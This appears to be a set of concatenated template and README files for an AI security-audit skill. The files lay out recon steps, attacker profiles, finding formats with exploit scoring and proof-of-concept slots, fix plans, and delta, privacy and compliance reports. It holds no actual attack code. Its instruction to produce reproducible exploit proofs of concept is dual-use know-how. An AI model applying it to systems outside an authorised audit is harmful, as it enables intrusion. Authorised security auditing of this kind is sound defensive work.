**Details:** recon/step-{NN}-{name}.md
```

Example:
```
### Step 3: HTTP Entry Points
**Endpoints:** 12 (4 unauthenticated, 8 authenticated, 5 background/scheduled)
**Key files:** functions/src/index.ts:1-50, functions/src/webhooks.ts:1-30
**Notable:** 2 unauthenticated webhook endpoints accept external input. processUserEmails is a Cloud Task handler.
**Details:** recon/step-03-http.md
```

---

## LOD-2: Atomic Section Files

Each recon agent writes its full section to `{RECON_DIR}/step-{NN}-{name}.md`. These contain the complete tables with every file:line reference. The format for each step follows.

Every table row MUST include **absolute file paths with line numbers** (e.g., `/path/to/file.ts:42`) so downstream agents can `Read` directly.

---

### step-01-metadata.md — Project Metadata

| Field | Value |
|-------|-------|
| Project Name | |
| Primary Language(s) | |
| Framework(s) | |
| Runtime(s) | |
| Infrastructure | |
| Architecture Style | |
| Package Manager(s) | |
| Test Framework(s) | |
| Build System | |
| Monorepo? | Yes/No — list packages if yes |

---

### step-02-docs.md — Documentation Index

| Document | Path | Relevance |
|----------|------|-----------|
| README | | Project overview |
| Specification | | Architecture, data model, API details |
| Contributing guide | | Dev workflow, code style |
| Security docs | | Existing security policies/audits |
| CI/CD config | | Pipeline, deploy targets |
| Project instructions | | CLAUDE.md or similar |
| API documentation | | Endpoint docs |
| Changelog | | Version history, security fixes |

List ALL documentation files found. Mark missing items as "Not found".

---

### step-03-http.md — HTTP Entry Points

#### Unauthenticated Endpoints

| Endpoint | File:Line | Method | Purpose | Auth Required | Input Sources |
|----------|-----------|--------|---------|---------------|---------------|

#### Authenticated Endpoints

| Endpoint | File:Line | Method | Purpose | Auth Mechanism | Input Sources |
|----------|-----------|--------|---------|----------------|---------------|

#### Background/Scheduled Functions

| Function | File:Line | Trigger | Schedule/Event | Auth Mechanism |
|----------|-----------|---------|----------------|----------------|

Include: HTTP handlers, webhooks, API routes, RPC endpoints, scheduled jobs, event-driven functions, message queue consumers.

---

### step-04-boundaries.md — Trust Boundaries

| Boundary | Direction | Source | Destination | Data Exchanged | Protection |
|----------|-----------|--------|-------------|----------------|------------|

Categories to identify:
- **External → System**: Webhooks, callbacks, API endpoints receiving external input
- **User → System**: Authenticated user actions, client-side writes
- **System → External**: Outbound API calls, email sending, third-party integrations
- **Client → Database**: Direct database reads/writes from client code

---

### step-05-crown-jewels.md — Crown Jewels

| Asset | Storage Location | Protection Mechanism | Impact if Compromised |
|-------|-----------------|---------------------|----------------------|

Identify the most valuable data and capabilities: credentials, tokens, PII, financial data, automated actions, encryption keys.

#### Attacker Profiles

| Profile | Access Level | Capabilities | Primary Targets | Entry Points |
|---------|-------------|-------------|-----------------|-------------|
| Unauthenticated External | None | Can reach public endpoints | | |
| Authenticated User | User-level | CRUD own resources, call authenticated APIs | | |
| Malicious Input Source | None | Controls content processed by the system | | |
| Compromised Integration | API-level | Can send forged responses/callbacks | | |
| Insider/Admin | Elevated | Direct infrastructure access | | |

Add project-specific profiles as discovered.

---

### step-06-auth.md — Authentication & Authorization

#### Authentication Mechanisms

| Mechanism | Implementation | File:Line | Protects | Notes |
|-----------|---------------|-----------|----------|-------|

#### Authorization Rules

| Resource | Rule Type | File:Line | Who Can Access | Enforcement Point |
|----------|-----------|-----------|----------------|-------------------|

#### Session/Token Management

| Token Type | Storage | Lifetime | Refresh Mechanism | File:Line |
|------------|---------|----------|-------------------|-----------|

---

### step-07-integrations.md — External Integrations

| Integration | Client File:Line | Auth Method | Data Sent | Data Received | SSRF Risk |
|------------|-----------------|-------------|-----------|---------------|-----------|

For each integration, note:
- Is there a wrapper/client service?
- Are URLs hardcoded or configurable?
- Is response data validated/sanitized?
- Are errors handled without leaking details?

---

### step-08-secrets.md — Encryption & Secrets

#### Secret Storage

| Secret | Storage Method | Access Pattern | File:Line |
|--------|---------------|----------------|-----------|

#### Encryption at Rest

| Data Type | Encryption Method | Key Management | File:Line |
|-----------|------------------|----------------|-----------|

#### Plaintext Secrets Found

| Secret Type | File:Line | Risk Level | Notes |
|------------|-----------|------------|-------|

Search for: hardcoded API keys, tokens, passwords, connection strings in source code, config files, and environment files.

---

### step-09-data-flows.md — Data Flows

Identify the critical data flows through the system. For each, trace the path from source to destination.

#### Flow: [Name]

| Step | File:Line | Input | Transformation | Output | Sanitization |
|------|-----------|-------|----------------|--------|-------------|

Repeat for each critical flow (typically 3-6 flows covering: user input processing, credential lifecycle, external trigger handling, automated actions).

**Note:** This step runs in Wave B — it has access to Wave A LOD-0 summaries for entry points, auth mechanisms, and integrations. Read the relevant step files from `{RECON_DIR}/` for full detail.

---

### step-10-security-work.md — Existing Security Work

#### Security-Related Commits

| Commit | Date | Summary | Files Changed |
|--------|------|---------|---------------|

Use: `git log --all --oneline --grep="security" --grep="fix" --grep="vuln" --grep="inject" --grep="sanitiz" --grep="escap" --grep="auth" --grep="SSRF" --grep="XSS"`

#### Security Utilities

| Utility | File:Line | Purpose | Used By |
|---------|-----------|---------|---------|

#### SAST/Scan Results

| Tool | Results Location | Finding Count | Suppression Count |
|------|-----------------|---------------|-------------------|

#### Security Documentation

| Document | Path | Contents |
|----------|------|----------|

---

### step-11-config.md — Configuration

#### Security Headers

| Header | Value | Source File:Line |
|--------|-------|-----------------|

#### CORS Configuration

| Setting | Value | Source File:Line |
|---------|-------|-----------------|

#### Environment Files

| File | Contains | Git-Ignored? | Template Available? |
|------|----------|-------------|-------------------|

---

### step-12-frontend.md — Frontend

| Aspect | Details | File:Line |
|--------|---------|-----------|
| Framework | | |
| Rendering | SSR/CSR/SSG/Hybrid | |
| Client-Side Storage | localStorage/cookies/IndexedDB | |
| Service Workers | Present? Purpose? | |
| Authentication UI | Login flow, token handling | |
| Content Rendering | Does it render user-controlled HTML? | |

If no frontend exists, write "No frontend detected" and note what was checked.

---

### step-13-dependencies.md — Dependencies

#### Backend Dependencies

| Package | Version | Security Relevance | Last Updated |
|---------|---------|-------------------|-------------|

#### Frontend Dependencies

| Package | Version | Security Relevance | Last Updated |
|---------|---------|-------------------|-------------|

Focus on security-relevant packages: auth libraries, HTTP clients, parsers, crypto, database drivers, template engines.

---

### step-14-scope.md — Scope Notes

| Category | Details |
|----------|---------|
| Directories Analyzed | |
| Directories Skipped | |
| Total Source Files | |
| Languages Detected | |
| Limitations | |

**Note:** This step runs in Wave B — it summarizes what all Wave A agents analyzed.


path: assets/templates/fix-plan.md
content: # Fix Plan Template

This template is used by the fix-planner agent to produce an implementation plan from the security analysis report. Output to `{REPORTS_DIR}/fix-plan.md`.

---

    # Security Fix Implementation Plan

    **Source Report:** {REPORT_PATH}
    **Generated:** {ISO_TIMESTAMP}
    **Total Findings:** {TOTAL_COUNT} ({CRITICAL_COUNT} Critical, {HIGH_COUNT} High, {MEDIUM_COUNT} Medium, {LOW_COUNT} Low)
    **Estimated Total Effort:** {TOTAL_EFFORT}

    ---

    ## Quick Wins (do first)

    Findings with Remediation ROI >= 4 AND Exploitability >= 4. These are high-value, low-effort fixes.

    ### Task 1: [FINDING-ID] — [Title]

    **Priority:** Quick Win (ROI: [score], Exploitability: [score])
    **Severity:** [severity] | **CVSS:** [score] | **ATT&CK:** [technique]
    **Files to modify:**
    - `[file:line]` — [what to change]

    **Fix:**
    ```[language]
    // concrete fix code from the report
    ```

    **Regression test:**
    ```[language]
    // test code from the report
    ```

    **Estimated effort:** [hours]
    **Commit message:** `fix(security): [FINDING-ID] — [one-line description]`

    ---

    ## Immediate (fix before next deploy)

    ### Task N: [FINDING-ID] — [Title]
    (same structure as Quick Wins tasks)

    ---

    ## Short-term (within 1 week)

    ### Task N: [FINDING-ID] — [Title]
    (same structure)

    ---

    ## Medium-term (within 1 month)

    ### Task N: [FINDING-ID] — [Title]
    (same structure)

    ---

    ## Backlog (track and plan)

    ### Task N: [FINDING-ID] — [Title]
    (same structure, may omit regression test for Low/Info)

    ---

    ## Root Cause Fixes

    These systemic fixes address multiple findings at once. Implementing these may resolve several individual tasks above.

    ### RC-1: [Root Cause Name]

    **Addresses findings:** [FINDING-A], [FINDING-B], [FINDING-C]
    **From Root Cause Analysis:** [description of the systemic issue]

    **Systemic fix:**
    ```[language]
    // concrete fix code
    ```

    **Files to modify:**
    - `[file:line]` — [what to change]

    **Estimated effort:** [days]
    **Commit message:** `fix(security): address [root cause] — resolves [FINDING-A], [FINDING-B], [FINDING-C]`

    ---

    ## Implementation Notes

    - Fix tasks are numbered sequentially across all priority tiers for easy reference
    - If a root cause fix resolves individual tasks, mark those tasks as "Resolved by RC-N" and skip them
    - Run the project's test suite after each fix to catch regressions: `npm test`
    - Follow project code style from CLAUDE.md (no eslint-disable comments, double quotes, 2-space indentation)


path: assets/templates/finding.md
content: # Finding Report Format — Level of Detail (LOD)

Findings are written as **atomic files** to `{FINDINGS_DIR}/`. Each file contains the full LOD-2 finding. Agents return LOD-0 summaries to the orchestrator. The orchestrator builds an index with LOD-0 and LOD-1 views.

## LOD-0: One-Line Summary (returned to orchestrator)

Format: `| [FINDING-ID] | [Severity] | [One-sentence description] |`

Example: `| HTTP-001 | High | Unauthenticated webhook endpoint allows attacker to enqueue arbitrary processing tasks |`

## LOD-1: Finding Brief (for index file)

    ### [FINDING-ID]: [Title]
    **Severity:** [S] | **CVSS:** [Score] | **CWE:** [ID] | **ATT&CK:** [TID] | **File:** [path:line]
    [One-paragraph description of the vulnerability and its impact]

## LOD-2: Full Finding (atomic file on disk)

Every Medium+ finding MUST use this format. Low and Informational findings can use an abbreviated version (skip PoC and Regression Test sections).

---

## Individual Finding

    ### [FINDING-ID]: [Title]

    **Severity:** Critical / High / Medium / Low / Informational
    **CVSS 3.1:** [Score] ([Vector String])
    **CWE:** [CWE-ID] — [CWE Name]
    **ATT&CK:** [Technique ID] — [Technique Name] (e.g., T1190 — Exploit Public-Facing Application)
    **Confidence:** Confirmed / Likely / Possible / Informational

    **Affected Component:** [File:Line or module name]
    **Attacker Profile:** [Which attacker from `step-05-crown-jewels.md`'s Attacker Profiles table]
    **Preconditions:** [What must be true for this attack to work]

    #### Exploit Scoring

    | Dimension | Score (1-5) | Rationale |
    |-----------|-------------|-----------|
    | Exploitability | | 1=theoretical chain, 5=single curl command |
    | Blast Radius | | 1=single user with specific config, 5=all users |
    | Detectability | | 1=leaves obvious audit trail, 5=invisible to monitoring |
    | Remediation ROI | | 1=massive refactor for marginal gain, 5=one-line fix eliminates critical risk |

    #### Attack Steps
    1. [Exact step with specific file:line references from the recon step files]
    2. [...]
    3. [...]

    #### Proof of Concept
    ```[language]
    // Concrete exploit code, curl command, or crafted payload
    // Must be specific enough to reproduce
    ```

    #### Impact
    - **What the attacker gains:** [...]
    - **Blast radius:** [How many users/resources affected]
    - **Data compromised:** [Specific data types]

    #### Remediation
    ```[language]
    // Concrete fix code — not a description, actual code
    ```

    #### Regression Test
    ```[language]
    // Test that prevents reintroduction of this vulnerability
    ```

    #### References
    - [Relevant CWE page]
    - [Related findings in this report]

---

## Exploit Chain

When multiple findings combine into a more severe attack:

    ### CHAIN-[ID]: [Chain Title]

    **Combined Severity:** [Higher than individual findings]
    **CVSS 3.1:** [Combined score]
    **ATT&CK Chain:** [T1190] → [T1078] → [T1530]
    **Findings Combined:** [FINDING-A] + [FINDING-B] + [FINDING-C]

    #### Chain Description
    1. [FINDING-A] allows attacker to [...]
    2. This enables [FINDING-B] because [...]
    3. Combined with [FINDING-C], the attacker can [...]

    #### Combined Impact
    [Why the chain is worse than individual findings]

    #### Combined Remediation
    [Which fix breaks the chain most effectively]

---

## Confidence Levels

| Level | Definition | Required Evidence |
|-------|-----------|------------------|
| **Confirmed** | Verified with working PoC | Reproducible exploit code or payload |
| **Likely** | Strong evidence, high probability | Code path analysis showing exploitable flow |
| **Possible** | Theoretical, needs specific conditions | Identified pattern but unverified exploitability |
| **Informational** | Best practice improvement | No direct exploit, defense-in-depth recommendation |

---

## Finding ID Convention

Use the format: `[CATEGORY]-[NUMBER]`

Examples:
- `HTTP-001` — HTTP entry point, finding 1
- `INJ-003` — Injection variant, finding 3
- `RACE-001` — Race condition, finding 1
- `CFG-002` — Configuration, finding 2


path: assets/templates/delta-report.md
content: # Delta Report Template

The orchestrator produces this report by comparing two security analysis runs to highlight what changed. Output to `{RUN_DIR_B}/reports/delta.md`.

---

    # Security Analysis Delta Report

    **Date:** {ISO_TIMESTAMP}
    **Baseline Run (A):** {RUN_DIR_A} ([date of run A])
    **Current Run (B):** {RUN_DIR_B} ([date of run B])
    **Days Between Runs:** [count]

    ---

    ## Summary

    | Metric | Run A | Run B | Delta |
    |--------|-------|-------|-------|
    | Total Findings | | | +N / -N |
    | Critical | | | |
    | High | | | |
    | Medium | | | |
    | Low | | | |
    | Informational | | | |
    | Exploit Chains | | | |
    | Dependencies | | | |
    | Known CVEs | | | |

    **Overall Trend:** [Improving / Stable / Degrading]

    ---

    ## New Findings (in B but not in A)

    Findings that appear in the current run but were not present in the baseline.

    | Finding ID | Severity | CVSS | Title | File:Line | Likely Cause |
    |-----------|----------|------|-------|-----------|-------------|

    **Analysis:** [Are new findings from new code, new dependencies, deeper analysis, or methodology changes?]

    ---

    ## Resolved Findings (in A but not in B)

    Findings from the baseline that no longer appear in the current run.

    | Finding ID (A) | Severity | Title | Resolution |
    |---------------|----------|-------|-----------|

    Resolution categories: Fixed (code change), Mitigated (compensating control), Removed (feature deleted), False Positive (critic caught), Methodology Change (analysis scope changed).

    ---

    ## Persistent Findings (in both A and B)

    Findings present in both runs. Note severity changes.

    | Finding ID | Severity A → B | CVSS A → B | Title | Change Notes |
    |-----------|---------------|-----------|-------|-------------|

    **Stale Findings:** List findings that persisted across runs despite being in the fix plan. These represent remediation failures or deprioritized items.

    ---

    ## Severity Changes

    Findings where severity changed between runs.

    | Finding ID | A Severity | B Severity | Reason |
    |-----------|-----------|-----------|--------|

    ---

    ## Dependency Changes

    | Change Type | Package | A Version | B Version | Security Impact |
    |------------|---------|-----------|-----------|-----------------|
    | Added | | — | | |
    | Removed | | | — | |
    | Upgraded | | | | [CVEs fixed / new CVEs introduced] |
    | Downgraded | | | | [Risk assessment] |

    **New CVEs Since Run A:** [count] — list any new CVEs affecting current dependencies

    ---

    ## Attack Surface Changes

    | Change | Details |
    |--------|---------|
    | New endpoints | [endpoints added since Run A] |
    | Removed endpoints | [endpoints removed since Run A] |
    | New integrations | [external services added] |
    | New file upload points | [upload handlers added] |
    | Auth changes | [auth mechanism changes] |

    ---

    ## Fix Plan Progress

    Cross-reference Run A's fix plan with Run B's findings:

    | Fix Plan Task (A) | Status | Finding Resolved? | Notes |
    |------------------|--------|-------------------|-------|

    **Fix Plan Completion Rate:** [X of Y tasks completed] ([%])

    ---

    ## Recommendations

    ### Regressions to Address Immediately
    1. [New Critical/High findings that appeared since Run A]

    ### Stale Items to Escalate
    1. [Findings that were in Run A's fix plan but remain unresolved]

    ### Positive Trends to Continue
    1. [Categories where security improved]

    ---

    ## Matching Methodology

    Findings are matched between runs using:
    1. **Finding ID** — exact ID match (same vulnerability, same location)
    2. **CWE + File** — same weakness type in the same file (vulnerability may have moved lines)
    3. **CWE + Component** — same weakness type in the same component (file may have been renamed/refactored)

    Unmatched findings in Run A = Resolved. Unmatched findings in Run B = New.


path: assets/templates/privacy-report.md
content: # Privacy & Data Protection Assessment Template

The privacy assessment agent produces this report by tracing PII flows, data retention, and consent mechanisms. Output to `{REPORTS_DIR}/privacy.md`.

---

    # Privacy & Data Protection Assessment

    **Date:** {ISO_TIMESTAMP}
    **Security Run:** {RUN_DIR}
    **Applicable Regulations:** [GDPR / CCPA / HIPAA / PIPEDA / LGPD / custom]
    **Project:** [From recon index]

    ---

    ## Executive Summary

    [2-3 paragraphs covering:]
    - Types and volume of personal data processed
    - Data flow risk assessment (high-risk flows)
    - Compliance posture for applicable regulations
    - Top 3 privacy risks requiring immediate attention

    ---

    ## Personal Data Inventory

    ### Data Categories Collected

    | Category | Data Elements | Collection Point | Storage Location | Lawful Basis | Retention Period |
    |----------|-------------|-----------------|-----------------|-------------|-----------------|
    | Identity | name, email | | | | |
    | Contact | phone, address | | | | |
    | Financial | payment info, billing | | | | |
    | Behavioral | usage logs, analytics | | | | |
    | Technical | IP, device info, cookies | | | | |
    | Sensitive | health, biometric, race | | | | |
    | Auth | passwords, tokens, sessions | | | | |

    ### Data Subject Categories

    | Subject Type | Data Collected | Volume Estimate | Special Protections |
    |-------------|---------------|-----------------|-------------------|
    | End Users | | | |
    | Employees | | | |
    | Minors (if applicable) | | | COPPA / GDPR Art. 8 |
    | Third-Party Contacts | | | |

    ---

    ## PII Data Flow Map

    For each critical PII flow, trace the complete lifecycle:

    ### Flow: [Name] (e.g., "User Registration")

    | Step | Component | File:Line | Data Elements | Operation | Protection | Risk |
    |------|-----------|-----------|--------------|-----------|-----------|------|
    | 1 | [entry point] | | [fields] | Collect | [TLS, validation] | |
    | 2 | [handler] | | [fields] | Process | [sanitization] | |
    | 3 | [database] | | [fields] | Store | [encryption] | |
    | 4 | [service] | | [fields] | Share | [consent check] | |
    | 5 | [output] | | [fields] | Display/Export | [redaction] | |

    Repeat for each PII flow (typically 4-8 flows: registration, authentication, profile management, data export, payment processing, communication, analytics, third-party sharing).

    ---

    ## Data Storage & Encryption

    | Data Element | Storage | Encrypted at Rest | Encrypted in Transit | Key Management | Retention | Deletion Method |
    |-------------|---------|-------------------|---------------------|----------------|-----------|-----------------|

    ---

    ## Third-Party Data Sharing

    | Third Party | Data Shared | Purpose | Legal Basis | DPA in Place? | Transfer Mechanism | Risk |
    |------------|------------|---------|-------------|---------------|-------------------|------|

    Transfer mechanisms: Standard Contractual Clauses, Adequacy Decision, Binding Corporate Rules, Consent, Derogation.

    ---

    ## Consent Management

    | Consent Type | Collection Method | File:Line | Granularity | Withdrawal Method | Record Keeping |
    |-------------|------------------|-----------|-------------|------------------|----------------|

    ### Consent Issues

    - Is consent obtained BEFORE data collection? (not retroactive)
    - Is consent granular? (separate consent per purpose, not bundled)
    - Is consent freely given? (not a condition of service where not necessary)
    - Can consent be withdrawn as easily as it was given?
    - Is consent recorded with timestamp and version?

    ---

    ## Data Subject Rights Implementation

    | Right | Implemented? | Mechanism | File:Line | Response Time | Automated? |
    |-------|-------------|-----------|-----------|--------------|-----------|
    | Access (GDPR Art. 15) | | | | | |
    | Rectification (Art. 16) | | | | | |
    | Erasure / Right to be Forgotten (Art. 17) | | | | | |
    | Restriction of Processing (Art. 18) | | | | | |
    | Data Portability (Art. 20) | | | | | |
    | Object to Processing (Art. 21) | | | | | |
    | Automated Decision-Making (Art. 22) | | | | | |
    | Opt-Out of Sale (CCPA) | | | | | |

    ### Implementation Gaps

    For each unimplemented or partially implemented right:
    - What is missing?
    - What effort is required?
    - What is the regulatory risk of non-compliance?

    ---

    ## Data Retention & Deletion

    | Data Category | Defined Retention Period | Actual Implementation | Deletion Method | Verification |
    |-------------|------------------------|---------------------|-----------------|-------------|

    ### Retention Issues

    - Is there a data retention policy documented?
    - Are retention periods enforced automatically? (scheduled deletion jobs)
    - Is data in backups subject to the same retention policy?
    - After deletion: is data purged from all locations (caches, logs, backups, search indexes)?

    ---

    ## Privacy by Design Assessment

    | Principle | Implementation | Assessment |
    |-----------|---------------|-----------|
    | Data Minimization | Do we collect only what's needed? | |
    | Purpose Limitation | Is data used only for stated purposes? | |
    | Storage Limitation | Is data deleted when no longer needed? | |
    | Accuracy | Can data subjects correct their data? | |
    | Integrity & Confidentiality | Is data protected against unauthorized access? | |
    | Accountability | Are processing activities documented? | |

    ---

    ## Cross-Border Data Transfers

    | Data | Source Jurisdiction | Destination | Transfer Mechanism | Adequacy Decision? | Risk |
    |------|-------------------|------------|-------------------|-------------------|------|

    ---

    ## Privacy Risk Register

    | Risk ID | Risk Description | Data Elements | Likelihood | Impact | Risk Level | Mitigation |
    |---------|-----------------|--------------|-----------|--------|-----------|-----------|

    Likelihood: Rare / Unlikely / Possible / Likely / Almost Certain
    Impact: Negligible / Minor / Moderate / Major / Severe

    ---

    ## Findings

    Privacy-specific findings that may not appear in the main security report:

    | ID | Severity | Description | Regulation | Remediation |
    |----|----------|-------------|-----------|-------------|

    Finding IDs use prefix `PRV-XXX`.

    ---

    ## Recommendations

    ### Immediate (regulatory risk)
    1. [Action] — addresses [risk/gap] — Effort: [estimate]

    ### Short-Term (privacy improvement)
    1. [Action] — Effort: [estimate]

    ### Documentation Needed
    1. [Document] — required by [regulation]

    ---

    ## Data Sources

    | Data | Source File | Collected By |
    |------|-----------|-------------|
    | PII locations | recon/step-05-crown-jewels.md | Recon agent |
    | Data flows | recon/step-09-data-flows.md | Recon agent |
    | Auth mechanisms | recon/step-06-auth.md | Recon agent |
    | External integrations | recon/step-07-integrations.md | Recon agent |
    | Encryption | recon/step-08-secrets.md | Recon agent |
    | Security findings | findings/index.md | All analysis agents |


path: assets/templates/compliance-report.md
content: # Compliance Mapping Report Template

The orchestrator produces this report by mapping existing security findings to a specified compliance framework. Output to `{REPORTS_DIR}/compliance.md`.

---

    # Compliance Mapping Report

    **Date:** {ISO_TIMESTAMP}
    **Security Run:** {RUN_DIR}
    **Framework:** [SOC 2 / ISO 27001 / PCI DSS / HIPAA / GDPR / NIST CSF / custom]
    **Total Findings Mapped:** [count] of [total findings]
    **Controls Assessed:** [count]
    **Controls with Findings:** [count]

    ---

    ## Executive Summary

    [2-3 paragraphs covering:]
    - Compliance posture overview against the selected framework
    - Critical control gaps that require immediate remediation
    - Controls that are well-addressed by current implementation
    - Recommended priority actions for compliance readiness

    ---

    ## Control Mapping Matrix

    ### SOC 2 Trust Service Criteria (use this section if framework is SOC 2)

    | Control ID | Category | Control Description | Related Findings | Status | Gap Description |
    |-----------|----------|-------------------|-----------------|--------|-----------------|
    | CC1.1 | Security | COSO Principle 1 — Integrity and ethical values | | Pass / Fail / Partial / N/A | |
    | CC5.1 | Security | Risk identification and assessment | | | |
    | CC6.1 | Security | Logical and physical access controls | | | |
    | CC6.2 | Security | User authentication | | | |
    | CC6.3 | Security | Authorization enforcement | | | |
    | CC6.6 | Security | Security events monitoring | | | |
    | CC6.7 | Security | Change management | | | |
    | CC6.8 | Security | Unauthorized/malicious software prevention | | | |
    | CC7.1 | Security | Infrastructure and software monitoring | | | |
    | CC7.2 | Security | Security incident detection | | | |
    | CC8.1 | Security | Change management process | | | |

    ### ISO 27001 Annex A Controls (use this section if framework is ISO 27001)

    | Control | Domain | Description | Related Findings | Status | Gap |
    |---------|--------|-------------|-----------------|--------|-----|
    | A.5 | Information Security Policies | Policy documentation | | | |
    | A.6 | Organization of IS | Roles, mobile, teleworking | | | |
    | A.8 | Asset Management | Classification, handling | | | |
    | A.9 | Access Control | Business requirements, user access | | | |
    | A.10 | Cryptography | Policy, key management | | | |
    | A.12 | Operations Security | Procedures, malware, backup, logging | | | |
    | A.13 | Communications Security | Network, information transfer | | | |
    | A.14 | System Acquisition/Dev | Security requirements, development, test data | | | |
    | A.16 | Incident Management | Reporting, response, lessons learned | | | |
    | A.18 | Compliance | Legal, policy, technical compliance | | | |

    ### PCI DSS Requirements (use this section if framework is PCI DSS)

    | Requirement | Description | Related Findings | Status | Gap |
    |------------|-------------|-----------------|--------|-----|
    | 1 | Install and maintain network security controls | | | |
    | 2 | Apply secure configurations | | | |
    | 3 | Protect stored account data | | | |
    | 4 | Protect cardholder data with strong cryptography during transmission | | | |
    | 5 | Protect all systems against malware | | | |
    | 6 | Develop and maintain secure systems | | | |
    | 7 | Restrict access by business need-to-know | | | |
    | 8 | Identify users and authenticate access | | | |
    | 9 | Restrict physical access to cardholder data | | | |
    | 10 | Log and monitor all access | | | |
    | 11 | Test security regularly | | | |
    | 12 | Support IS with organizational policies | | | |

    ### HIPAA Security Rule (use this section if framework is HIPAA)

    | Standard | Safeguard | Description | Related Findings | Status | Gap |
    |----------|-----------|-------------|-----------------|--------|-----|
    | 164.312(a) | Technical | Access control | | | |
    | 164.312(b) | Technical | Audit controls | | | |
    | 164.312(c) | Technical | Integrity controls | | | |
    | 164.312(d) | Technical | Person or entity authentication | | | |
    | 164.312(e) | Technical | Transmission security | | | |
    | 164.308(a)(1) | Administrative | Security management process | | | |
    | 164.308(a)(3) | Administrative | Workforce security | | | |
    | 164.308(a)(4) | Administrative | Information access management | | | |
    | 164.308(a)(5) | Administrative | Security awareness and training | | | |

    ### GDPR Articles (use this section if framework is GDPR)

    | Article | Topic | Description | Related Findings | Status | Gap |
    |---------|-------|-------------|-----------------|--------|-----|
    | Art. 5 | Principles | Lawfulness, purpose limitation, data minimization | | | |
    | Art. 6 | Lawful Basis | Processing legality | | | |
    | Art. 25 | DPbD | Data protection by design and default | | | |
    | Art. 30 | Records | Records of processing activities | | | |
    | Art. 32 | Security | Security of processing | | | |
    | Art. 33 | Breach Notification | To supervisory authority (72h) | | | |
    | Art. 34 | Breach Notification | To data subjects | | | |
    | Art. 35 | DPIA | Data protection impact assessment | | | |
    | Art. 44-49 | Transfers | International data transfers | | | |

    Only include the framework section requested by the user. Omit the others.

    ---

    ## Detailed Gap Analysis

    For each control with Status = Fail or Partial:

    ### [Control ID]: [Control Description]

    **Status:** Fail / Partial
    **Related Findings:** [Finding IDs with severity]
    **Current State:** [What the project does now]
    **Required State:** [What the control requires]
    **Gap:** [Specific delta between current and required]
    **Remediation:**
    - [Specific action 1 — reference fix-plan task if available]
    - [Specific action 2]
    **Effort:** [hours/days]
    **Priority:** [Critical / High / Medium / Low]

    ---

    ## Compliance Score Summary

    | Category | Total Controls | Pass | Partial | Fail | N/A | Score |
    |----------|---------------|------|---------|------|-----|-------|
    | [category 1] | | | | | | [%] |
    | [category 2] | | | | | | [%] |
    | **Overall** | | | | | | **[%]** |

    ---

    ## Recommendations

    ### Immediate Actions (blocking compliance)
    1. [Action] — addresses [Control IDs] — Effort: [estimate]

    ### Short-Term Improvements
    1. [Action] — addresses [Control IDs] — Effort: [estimate]

    ### Documentation Gaps
    1. [Missing documentation] — required by [Control IDs]

    ---

    ## Data Sources

    | Source | Path | Used For |
    |--------|------|---------|
    | Security Analysis Report | {FINAL_REPORT} | Finding-to-control mapping |
    | Fix Plan | {REPORTS_DIR}/fix-plan.md | Remediation effort estimates |
    | Recon Index | {RECON_DIR}/index.md | Current implementation state |
    | SBOM | {REPORTS_DIR}/sbom.md | Dependency and license inventory |


path: README.md
content: # Security Analyst

[![GitHub](https://img.shields.io/github/stars/paixaop/security-analyst?style=social)](https://github.com/paixaop/security-analyst)

Comprehensive security analysis skill for Claude Code, Cursor, and Codex. Identifies vulnerabilities, assesses exploitability, and generates actionable remediation plans. Coordinates specialized agents through a multi-phase pipeline — built for developers and security researchers who want depth, not checkbox compliance.

**Repository:** https://github.com/paixaop/security-analyst

## When to Use

- **Before deploying** or after major feature work
- **On demand** for security audits, penetration tests, threat models
- **After a vulnerability** is reported, to find unpatched variants
- **For compliance** — SBOM, SOC 2, ISO 27001, PCI DSS, HIPAA, GDPR
- **For tracking** — compare security posture between runs (delta/regression)

## Quick Start

| Command | Purpose |
|---------|---------|
| `/security-analyst` | Interactive — choose scope and output mode |
| `/security-analyst:full` | All phases, all attack surfaces |
| `/security-analyst:focused [component]` | Target one area (auth, API, frontend, etc.) |
| `/security-analyst:recon` | Reconnaissance only — codebase security map |
| `/security-analyst:threat-model` | STRIDE, attack trees, risk matrix |
| `/security-analyst:variant-hunt [vuln]` | Find unpatched variants of a known vuln |
| `/security-analyst:fix-plan [run-dir]` | Implementation plan from existing report |
| `/security-analyst:sbom` | Software Bill of Materials |
| `/security-analyst:diff [run-a] [run-b]` | Compare two runs — new, resolved, persistent |
| `/security-analyst:compliance [framework]` | Map findings to compliance controls |
| `/security-analyst:privacy` | PII flows, consent, data subject rights |

## Installation

Copy or symlink this skill to your skills directory:

```bash
# Claude Code
cp -r . ~/.claude/skills/security-analyst

# Cursor
cp -r . ~/.cursor/skills/security-analyst
```

## Output

Full runs write to `docs/security/runs/{YYYY-MM-DD-HHMMSS}/`:

| Path | Content |
|------|---------|
| `recon/index.md` | Recon index (LOD-0 + LOD-1) |
| `recon/step-*.md` | 14 atomic recon section files |
| `findings/` | Atomic finding files + index |
| `reports/surface.md` | Attack surface, git history, deps, config |
| `reports/sbom.md` | Software Bill of Materials |
| `reports/logic.md` | Business logic exploitation |
| `reports/tracing.md` | Data flow tracing |
| `reports/exploits.md` | Exploit catalog with PoCs |
| `reports/validation.md` | Validated findings |
| `reports/final.md` | Complete security report |
| `reports/fix-plan.md` | Implementation plan |
| `reports/compliance.md` | Compliance mapping (when requested) |
| `reports/delta.md` | Delta between runs (when requested) |
| `reports/privacy.md` | Privacy assessment (when requested) |

## Pipeline Overview

```
Recon (14 agents, parallel)
    ↓
Surface (≤16 agents) — HTTP, auth, integrations, frontend, LLM, API, deps, config, CI/CD, containers
    ↓
Logic (4 agents) — race conditions, authz escalation, pipeline exploitation, DoS
    ↓
Tracing (≤4 agents) — data flow + sanitization gaps
    ↓
Exploits (1) → Validation (1 critic) → Reporting (1) → Remediation (1 fix plan)
```

- **LOD system**: Three tiers reduce prompt tokens while keeping full detail on disk
- **Framework plugins**: 16 auto-detected plugins (Firebase, React, Django, etc.) inject framework-specific checks
- **Critic validation**: Adversarial review before final report

## Project Structure

```
security-analyst/
├── SKILL.md
├── README.md (this file)
├── references/
│   ├── architecture.md    # Architecture reference
│   ├── constants.md       # Paths, agent registry, templates
│   ├── commands/          # Entry points
│   ├── prompts/           # Agent prompt templates
│   └── plugins/           # Framework-specific checks (16 plugins)
└── assets/
    └── templates/         # Output format templates
```

## Troubleshooting

**Skill doesn't trigger**
- Use phrases like "run a security audit", "penetration test", "threat model", "SBOM", "compliance mapping"

**Analysis hangs / model waits forever**
- On Cursor: the orchestrator may be calling TaskList/TaskCreate which don't exist. See `references/platform-tools.md` for the correct flow.

**Subagent fails**
- Verify the environment supports the Task tool for subagent spawning
